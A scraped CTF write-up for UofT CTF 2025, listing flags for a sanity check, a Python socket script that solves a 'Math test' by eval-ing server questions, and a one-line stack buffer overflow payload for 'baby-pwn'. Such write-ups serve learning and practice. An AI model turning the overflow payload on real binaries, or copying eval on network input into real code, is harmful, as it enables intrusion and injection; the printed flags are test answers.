UofT CTF 2025
Sat, 11 - 13 Jan 2025.
โจ Misc
Sanity check
Flag :
uoftctf{welcome_to_uoftctf_2025!!!!!}Math test

Flag :
๐ป Pwn
baby-pwn

Flag :
Last updated
Sat, 11 - 13 Jan 2025.
uoftctf{welcome_to_uoftctf_2025!!!!!}

Last updated
import socket
import re
def solve_math_problem(problem):
try:
return eval(problem)
except ZeroDivisionError:
return None
def main():
host = "34.66.235.106"
port = 5000
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((host, port))
while True:
data = s.recv(1024).decode()
if not data:
break
print(data)
match = re.search(r'Question: ([-+*//\d\s]+)', data)
if match:
problem = match.group(1).strip()
print(f"Solving: {problem}")
answer = solve_math_problem(problem)
if answer is not None:
s.sendall(f"{int(answer)}\n".encode())
else:
print("Zero division error occurred.")
break
# Print the flag
if "Congratz!" in data:
print(data)
break
if __name__ == "__main__":
main()
uoftctf{7h15_15_b451c_10_7357_d16u153d_45_4_m47h_7357}python3 -c 'print("A" * 64 + "B" * 8 + \x66\x11\x40\x00\x00\x00\x00\x00)' | ./chaluoftctf{buff3r_0v3rfl0w5_4r3_51mp13_1f_y0u_kn0w_h0w_t0_d0_1t}